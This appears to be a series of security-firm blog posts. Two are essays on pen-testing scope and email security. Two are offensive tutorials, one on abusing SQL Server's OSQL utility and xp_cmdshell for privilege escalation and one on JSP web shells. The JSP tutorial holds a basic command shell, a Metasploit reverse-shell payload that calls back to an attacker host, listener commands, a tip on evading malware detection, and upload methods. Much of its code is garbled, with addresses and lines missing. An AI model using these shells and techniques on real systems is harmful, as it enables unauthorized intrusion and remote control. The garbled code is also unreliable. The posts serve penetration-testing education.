The value of multi-layer / comprehensive pen testing

For the past five years it seems like almost everything in information security has focused on application security and, for the NetSPI consulting practices, our application security business (app pen testing, code review, etc.) has significantly increased.  In that time, we have seen areas like network and systems vulnerability assessments change due to the commoditization of those services. Qualys, nCircle, and Rapid7 have all created a less expensive way to do a fairly simple scan of networks and systems that provide some level of comfort that networks and systems are secure. Today it’s pretty common to hear people say “we’ve got the network covered; now we’re really interested in pursuing our application security.” In 2006 I remember Charlie Johnson, head of the consulting practice at Symantec, talking about apps being the only thing that mattered and that he was thinking of committing the Symantec consulting team to secure application development. He may have just been thinking out loud, but securing applications has become the focus of many IT security groups almost to the exclusion of focusing on risk to the organization. Don’t get me wrong, application security is a huge problem and it will remain a problem for many years. However, there are many other areas of risk (perhaps greater risk) that cannot be ignored. At the technical level, system security for off-the-shelf software is a persistent problem. Organizations still struggle to patch quickly and there are often systems with exceptions to the patching process that weaken an organization’s domain and system security. While patching is still an issue, the biggest vulnerabilities are found within network and system configurations. In most (90-95%) of our pen tests we find weak configurations that lead to the complete compromise of an environment. In addition, in many organizations, database groups are silo’d off and don’t get the security attention that they need. Because of this, we find an excessive level of insecure configurations, embedded passwords, and inappropriate trust relationships that can lead to compromise. With all of these technical vulnerabilities, it’s amazing that an even wider security hole can be found within the physical operations, business process, and personnel at organizations. This is still usually the easiest way to break into an organization. Often it’s combined with technical exploits, but social engineering provides an almost failsafe way to get information and access within technology environments. I don’t think we should reduce our focus on application security – there’s a lot to do there and it will take many years to secure this aspect of IT within organizations. However, I think it’s incredibly important not to lose sight of what constitutes risk. If you really want to understand and reduce IT related risk, you’ve got to look comprehensively at risk within all aspects of your IT environment – process, physical, network, systems, database, and applications. Because while you may not be looking at these things, it’s certain that at some point, someone looking for the easiest way in will be looking at exploiting these weaknesses.


Email Uses and Security Liabilities

When you think back to some of the big technical evolutions that changed our lives in positive ways, email certainly stands among them. While the basic tenants of email haven’t really changed, how we use it has. For many, email has morphed from a pure messaging system to an instant messenger, file transfer system, data storage location, and more. While the email’s functions, abilities, and uses have increased exponentially; so have the liabilities. I’m not advocating that we get rid of our email servers (sorry Postal Service). I am advocating rethinking how it’s viewed in our corporate environments. Both regulatory (HIPAA[i]) and non-regulatory bodies (PCI[ii]) have requirements regarding storage and transmittal of sensitive information. When Email servers are used to process, store, and/or transmit such data these elements fall under the scrutiny of these governing bodies (and I won’t get into E-Discovery issues here either). So what’s my point? We need to educate users on how to use email appropriately when it comes to sensitive information. Email is fantastic but users need to be aware of what can be sent in the clear versus encrypted. Do users know when and how to encrypt data before they send sensitive information outside your organization? And the oft forgotten, do they know what to do when they receive such information either? Don’t incur the penalties of breach notifications because someone else sent you sensitive materials that remain on your server in some inbox. Beyond training there is always more that can be done, however it needs to align to your organization’s security posture and culture. From experience, some have gone as far as disallowing or limited attachments, deleting all emails over 3 months, utilizing spam filters to also search incoming emails for sensitive elements (beyond just spam and other malware), using a Data Loss Prevention (DLP), and performing periodic scans of the email server to ensure that sensitive information is not stored within just to name a few. With proper controls and training we can still use email and all it has become but in a more secure and compliant manner.

[i] HIPAA §164.312(a)(2)(iv) Encryption and decryption (Addressable). Implement a mechanism to encrypt and decrypt electronic protected health information.
[ii] PCI-DSS Requirement 4.2: Never send unprotected PANs [Primary Account Numbers] by end-user technologies (for example, email, instant messaging, chat, etc.)

When Databases Attack: Hacking with the OSQL Utility

The OSQL Utility is a command-line client for SQL Server that has shipped with every version since SQL Server 2000 was released. Many database administrators like it because it’s lightweight, makes scheduling TSQL jobs easy, and can be used for batch processing. Many hackers like it because it provides them with the ability to connect to local and remote database servers without having to provide credentials. This blog will provide some examples that illustrate how the OSQL utility can be used to gain unauthorized access to systems, databases, and sensitive information.

A Little History

All relevant versions of SQL Server have shipped with a command-line SQL Server client. The native command-line clients installed in past versions include: iSQL.exe, OSQL.exe, and SQLCMD.exe. Each utility Microsoft releases has more functionality than the last, but the important thing to note for this discussion is that the basic syntax has remained the same. That includes the –E “trusted connection” switch that will be important later on in this blog. Below I’ve provided a table that outlines which utilities ship with each version of SQL Server.

SQL Server Version

Command-line Utilities

Trusted Connections

SQL Server 7 (and Prior)



SQL Server 2000

iSQL.exe, OSQL.exe


SQL Server 2005

OSQL.exe, SQLCMD.exe


SQL Server 2008

OSQL.exe, SQLCMD.exe


Future versions



: I focus on OSQL, because it’s installed on most production SQL servers today. However, after version 2008 R2 it will no longer be included in default installations. So, if you find yourself without OSQL, look to the other options.

Finding SQL Servers

Let’s start out by finding some SQL Servers on the network. It’s pretty hard to attack something if you don’t know where it is. There are a number of tools and methods for enumerating SQL Servers, but today I’m going to focus on finding them with native OSQL functionality. Very simply, local and network SQL Servers can be listed by executing the command below:

C:>osql -L

The command sends a UDP request across the broadcast network and any SQL Server listening will respond. The resulting output will be a list of SQL servers on the broadcast network. So, with one switch, you can turn your database client into a database scanner. Also, the server list can be directed into a file with the following command:

C:>osql -L > sql_servers.txt

IMPORTANT NOTE: In older versions of SQL server, OSQL may have to be executed directly from the installation directory. Also, Microsoft warns that “Due to the nature of broadcasting on networks, OSQL may not receive a timely response from all servers. Therefore the list of servers returned may vary for each invocation of this option.” You may want to run the command a few times to ensure you get the full list.

Trusted Connections

Normally when a user queries an SQL Server with OSQL, they provide a username and password to authenticate. As a result, many administrators end up placing sensitive usernames and passwords in their scripts. Depending on the configuration, local, domain, and SQL Server accounts could be exposed. Trusted connections provide database users with the option to query SQL Servers without having to supply their credentials. When the trusted connections option is selected, the OSQL client attempts to authenticate to the database server using the current user context. In a way, this option increases security, because it keeps passwords out of scripts and in some cases can be used to enforce least privilege. However, there are some negatives aspects to having a “Trusted Connection” option: mainly the “Trusted” part.

Executing Queries with a Trusted Connection

Let’s take a look at how a database administrator might use this tool to check the version of a remote server. -E Uses a trusted connection for authentication (no credentials are required). I’ve also listed additional switches below:

  • -S Specifies the local or remote server (IP, hostname or hostnameinstance)
  • -Q Runs a query and immediately exists
  • -h Indicates number of headers for the output
  • -s Indicates separating character for the output
  • -w Sets the width for the output

The example below will query the SQL Server at for its version.

C:>osql -E -S -Q "select @@version" -h 1 -s "," -w 500

Based on this example, it’s obvious that trusted connections are a handy tool for a database administrator. The problem starts to occur when an unauthorized user gets access to the database administrator’s machine or the database administrator decides they want more access to the system. Below are a few additional command line examples for connecting to remote databases using OSQL or SQLCMD. Connect to a remote database using an IP address:

C:>SQLCMD -E -S -Q "select @@version"

Connect to a remote database using the instance name:

C:>SQLCMD -E -S DBSERVER1BankAppDB -Q "select @@version"

Connect to a remote database using a non standard port:

C:>SQLCMD -E -S tcp:DBSERVER1,8000 -Q "select @@version"

Executing System Commands with a Trusted Connection

Attackers aren’t the only threat. Both attackers and database administrators can leverage this next trick to escalate their privileges. Using the OSQL utility and the xp_cmdshell extended stored procedure, DBAs and hackers can execute commands with the privileges of the SQL Server service account. Usually I find the SQL Server service account running as SYSTEM, a domain account, or an almighty Domain Admin account. For those of you who are not as familiar – if we obtain SYSTEM privileges, we have more power than the local administrator account and, if we obtain Domain Admin, we can control most (if not all) of the devices on the network. How does this magic happen? Well, let’s take a look. In the first example, I will execute the “whoami” command to return the name of the account I’m currently using. In the example below I am running as the “DBAdmin”domain user.


In the second example, I will run the same command using OSQL, a “trusted connection”, and xp_cmdshell. This time, the command returns “nt authoritysystem”. That means I can run any command as SYSTEM without being a part of any local or domain groups.

C:>osql -E -S -Q "xp_cmdshell 'whoami'" 
output ---------
nt authoritysystem
NULL (2 rows affected)

If the database user running the command has been assigned the “sysadmin” fixed server role (most DBAs have), then the command above can be executed to determine what user the SQL Server is running as. If not, then escalation may be required.

IMPORTANT NOTE: The command above did not require any credentials and our actions most likely have not been logged. Also, sometimes the SQL Server service is not configured with a local Administrator, SYSTEM, or Domain Admin account. When that is, the case I usually find that it is configured with a shared service account. That can be almost as good.

Leveraging Shared Service Accounts and Trusted Connections

“Shared service account” is a term that describes one account that is used to run many services. The account can be a local or domain Windows account. In this case, we are referring to one account running the SQL Server service on many servers. Server administrators often use this approach because it makes managing database service accounts a whole lot easier. In enterprise environments, it can actually reduce the number of required service accounts by hundreds. However, managing accounts this way does come with some risk.

Configuring SQL Servers with a shared service account usually creates a trust relationship between every database server using the account. This happens because of privilege inheritance. In the OSQL command example below, the database admin is able to access a database that the account does not have privileges to. The inheritance happens as follows:

  1. The database admin (sysadmin) is able to execute a local command on SQL Server 1 with the SQL Server service account’s privileges using the OSQL utility, a “trusted connection, and the xp_cmdshell extended store procedure. (SYSADMIN on Server 1 = Service Account Privileges on Server 1)
  2. In versions of SQL server prior to 2008, the SQL Server service account is automatically placed in the local administrators group. That means the shared service account can authenticate to any SQL Server using it. (Service Account Privileges on Server 1 = Administrator Privileges on Server 2)
  3. In versions of SQL server prior to 2008, the local administrators group is assigned the sysadmin fixed server role. As a result, the shared service account has the privileges to run queries and local commands on Server 2. Through inheritance, so does the sysadmin from Server 1. (Administrator Privileges on Server 2 = SYADMIN on Server 2)

IMPORTANT NOTE: Despite of the fact that SQL Server 2008 ships with more secure configurations, administrators often change them back to the 2005 default settings. Below is my crazy privilege inheritance abstract that shows the privilege flow starting from an SQL injection attack vector. Hopefully it helps to illustrate the process.


The real world attack would use a process like the one below. The database admin could first verify that their account can execute commands with the shared account’s privileges with the command below:

C:>osql -E -S -Q "xp_cmdshell 'whoami'" output ---------------------------------------------------------------------------------------------------------------------------------- DEMOShared NULL
(2 rows affected) Next, the database admin can enumerate SQL Server targets with the command below: C:>osql -L Servers: DB1 HVA LVA (

Then, the database admin can issue commands on the remote SQL Server targets that use the DEMOShared account.  IMPORTANT NOTE: In this example, the database admin is using the interactive mode to issue queries to the servers.

IMAGE: Using Shared Service Account to Gain Unauthorized Access

Batch Attacks

Let’s automate some of this. We can use simple Windows batch scripts and our OSQL tool to run queries across the accessible databases on the broadcast network. Below is a simple command-line example that will write the hostname and SQL Server version to “accessible_servers.txt” for each server that the database administrator has access to.

C:FOR /F %i in ('osql -L') do osql -E -S %i -Q "selectrtrim(CONVERT(char(50),SERVERPROPERTY('servername')))+' ('+rtrim(CONVERT(char(20),SERVERPROPERTY('productversion')))+')'+' '+rtrim(CONVERT(char(30),SERVERPROPERTY('Edition')))+' '+rtrim(CONVERT(char(20),SERVERPROPERTY('ProductLevel')))+char(10)"

The output will look something like the text below. IMPORTANT NOTE: The login timeout errors usually indicate that the database user does not have access to the target SQL Server. It does not mean that a database service is not listening on that server.

[SQL Native Client]Named Pipes Provider: Could not open a connec-tion to SQL Server [53]. [SQL Native Client]Login timeout expired [SQL Native Client]An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections. ---------------------------------------------------------------- ---------------------------------------------------------------- HVA (9.00.4053.00) Express Edition SP3 (1 row affected) ---------------------------------------------------------------- LVA (9.00.4053.00) Express Edition SP3 (1 row affected)

We could, of course, automate queries to execute local commands, install software, and search for sensitive data on target servers, but I’ll save that for another day.

Wrap Up

The main lesson here is that configuring accounts with LEAST PRIVILEGE is important. Another take away should be that most of these attacks don’t generate any alerts. So, consider creating triggers on sensitive stored procedures like xp_cmdshell to generate audit trails. If you don’t feel like creating triggers manually, policy based management can be used. Policy based management has been around since SQL Server 2008, and allows DBAs to enforce detective and preventative controls on a SQL Server. The policies can be centrally managed to enforce controls across all of the 2005 and 2008 SQL Servers in your environment. I’ve provided a link below and strongly recommend DBAs take a look if they are not already familiar.



Hacking with JSP Shells

Most enterprise datacenters today house at least a few web servers that support Java Server Pages (JSP). In my experience, at least one will suffer from vulnerabilities that can be leveraged to upload JSP shells and execute arbitrary commands on the server (this especially seems to be the case with preconfigured appliances). In this blog, I’ll provide two JSP shell code examples and outline five common upload methods that can be used to get the shells onto vulnerable servers in order to execute arbitrary system commands.

JSP Shell Options

For those of you who are not as familiar – when I use the term “JSP shell” I’m referring to a “Java Server Page” that accepts arbitrary commands for execution on the hosting web server. Examples of servers that support such technology include jBoss, IBM WebSphere, BEA WebLogic, and Apache Tomcat (just to name a few). Traditional JSP shells use a HTML form to accept commands, but in more recent years JSP shells have been modified to initiate Metasploit sessions. Below, I’ve provided a code example and basic instructions for each scenario. Personally, I recommend using Metasploit JSP shells, because they have proven to be pretty stable and offer a cleaner interface. On Windows systems, the basic Metasploit shell can also be upgraded to a meterpreter shell that has tools for information gathering and escalation built-in.

Basic JSP shell

This is one of the most basic JSP shell code examples available. Basic use instructions are below.

  1. Save the source code below as cmd.jsp and upload to the victim server.
  2. Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.
    <%@ page
    <H3>JSP SHELL</H3>
    <FORM METHOD=”GET” NAME=”myform”
    <INPUT TYPE=”text” NAME=”cmd”>
    <INPUT TYPE=”submit” VALUE=”Execute”>
    if (request.getParameter(“cmd”) != null) {
    out.println(“Command: ” +
    request.getParameter(“cmd”) + “<BR>”);
    Process p =
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    disr = dis.readLine();

Metasploit JSP Shell

Using the Metasploit JSP shell in an attack requires approximately six steps.

  1. Generate the cmd.jsp shell with msfpayload
  2. Upload the cmd.jsp file to the server
  3. Run a Metasploit multi-handler on the local system
  4. Visit the cmd.jsp page in a web browser
  5. Obtain shell
  6. If Windows, upgrade to meterpreter shell

Before generating the JSP shell, make sure that Ruby and the Metasploit Framework are installed. Then follow the detailed instructions below. To generate a JSP shell on a windows system use the command below. PLEASE NOTE: In the example below, the LHOST variable should be set to your IP address.

ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST= LPORT=53 R > cmd.jsp

After the command is executed, Metasploit should output source code to the file cmd.jsp that looks something like the example below. In some cases, you may need to modify variable names to get around malware detection software.

<%@page import=”java.lang.*”%>
<%@page import=”java.util.*”%>
<%@page import=”*”%>
<%@page import=”*”%>
class StreamConnector extends Thread
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{ = is;
this.os = os;
public void run()
BufferedReader in = null;
BufferedWriter out = null;
in = new BufferedReader( new InputStreamReader( ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = buffer, 0, buffer.length ) ) > 0 )
out.write( buffer, 0, length );
catch( Exception e ){}
if( in != null )
if( out != null )
catch( Exception e ){}
socket = new Socket( “″, 53 );
Process process = Runtime.getRuntime().exec( “cmd.exe” );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
catch( Exception e ) {}

Next, upload the cmd.jsp file to the target server. For the sake of this discussion, let’s assume the file uploads to Then, start the Metasploit multi handler. Open an msfconsole and type the following commands to start a multi handler in the background.
PLEASE NOTE: The LHOST and LPORT variables should be configured relative to your system; the SHELL variable should be changed to /bin/sh if the target system is Linux/ Unix based, and the local firewall should be configured to allow traffic on port 53.

use exploit/multi/handler
setg LHOST
setg LPORT 53
setg PAYLOAD java/jsp_shell_reverse_tcp
setg SHELL cmd.exe
exploit –j -z

Finally, visit the page that was uploaded earlier and watch your msfconsole for a new session. Once the server connects back to your system, the shell should be accessible by typing the following (if you have attempted multiple sessions, the 1 may need to be incremented to the current session number).

sessions –I 1

If the target system is a Windows box the basic shell can be upgraded to a meter-preter shell with the following command:

sessions –U 1

Packaging JSP Shells as WAR Files

Sometimes it will be necessary to package the cmd.jsp as a WAR file so it can be published by an application server like jBoss. Basic instructions for creating a WAR file on a Windows system are below.

  1. Install the most recent Java SDK (may require reboot)
  2. Copy the cmd.jsp to the working directory
  3. Make a subdirectory called WEB-INF
  4. Place the content below into the file WEB-INF/web.xml
    version=”1.0″ ?>
  5. In Windows, pack the files into a WAR with the following command, but be aware that the path to the jar.exe will vary based on OS and java version:
    “C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe” cvf cmd.war WEB-INF cmd.jsp

Shell Upload Options

The PUT Method

The WebDAV PUT method is a classic. PUT is an extension of the HTTP protocol that allows users to upload files to the target web server. For a long time we found this issue everywhere, but in the last two years or so we’ve started to see it less and less. Any decent vulnerability scanner will turn up this issue on an affected server, but it can also be found manually using a tool like ncat. Once a server is found with PUT available, the cmd.jsp file can be uploaded. There are a number of tools that can be used to accomplish this but I prefer using the Burp Suite because, truth be told, I enjoy my GUI interfaces as much as the command line. To upload a file using the PUT method and Burp follow the instructions below:

  1. Open Burp
  2. Navigate to the repeater tab
  3. Enter the victim’s hostname or IP, port and check the box if the server is using SSL.
  4. Enter the HTTP header information into the “raw” tab. The HTTP header needs to include the host cookie, the content-length cookie, and the path. Don’t worry about knowing the specific content-length; Burp will calculate it when the request is sent. The header should look something like the following:
    PUT /path/cmd.jsp HTTP/1.1
    Content-Length: 0
  5. After the HTTP header has been typed in, press enter two times and paste in the JSP shell code. If there are not enough line breaks between the header and the body the request will not work properly.
  6. Press the go button. If the server responds with a 201 (created) the file should be available on the server.

Application functionality: Upload Functionality

Many web applications support uploading files. If there are no file type restrictions, simply upload the file and away you go. Unfortunately for those would-be attackers, most applications do attempt to enforce some file type restrictions. However, there are a number of technology specific vulnerabilities available to get around them. Such vulnerabilities can usually be found using a vulnerability scanner or by manually looking up the version information for the application or sub-components. I’ve also seen a few applications that allow files to be renamed after they are uploaded. If this is the case, simply upload the cmd.jsp as cmd.jpg, and once it’s uploaded rename it to cmd.jsp.

Once in a while, I come across applications that have functionality built-in that is intended to allow users to create JSP files on the fly. If you find this type of application simply follow the application flow to create a JSP page and paste the cmd.jsp code when the application prompts for the source code. Usually, these applications require some type of authentication, but in some cases I’ve found them configured with default passwords. Google is, of course, a great place to find default passwords, but I also recommend the relative vendor’s user/admin guides when attacking commercial and open source applications.

Publishing WAR Files

There are a number of application servers that use WAR files to publish applications. Some of them provide a HTML form that allows users to upload a WAR file and some (like jBoss) require a link to an external source. Josh Abraham wrote a few jBoss metasploit exploits for that purpose (one of which is called “jboss_maindeployer“). Also, there is a great paper on the subject available at:

File Shares

Occasionally, the web server’s web root directory is accessible anonymously via FTP, Windows, or NFS shares. If that is the case, simply use a standard client to connect to the share and upload your JSP shell. If an attacker is able to upload a JSP shell to the victim server, all commands will be executed in the context of the user running the web server. In my experience, the web server is often running as ‘root’ on *nix systems and ‘SYSTEM’ on Windows systems. That makes upload vulnerabilities great entry points into the network. A quick “whoami” command should help determine what user the server is currently running as.


There are a number of options available to attackers and penetration testers for getting JSP shells onto servers to execute commands. These issues can pose a real threat to the overal security posture of a network. So I encourage companies to audit for these types of vulnerabilities regularly to help prevent their servers from being used as an entry point into the network. Also keep in mind that web shells can be created for almost all server side languages inlucuding (but not limited to) asp, aspx, cfm, php and cgi. So don’t limit yourself. Hopefully the information in this blog has proved to be helpful. Good hunting. PS: Don’t be evil. References

Discover how NetSPI ASM solution helps organizations identify, inventory, and reduce risk to both known and unknown assets.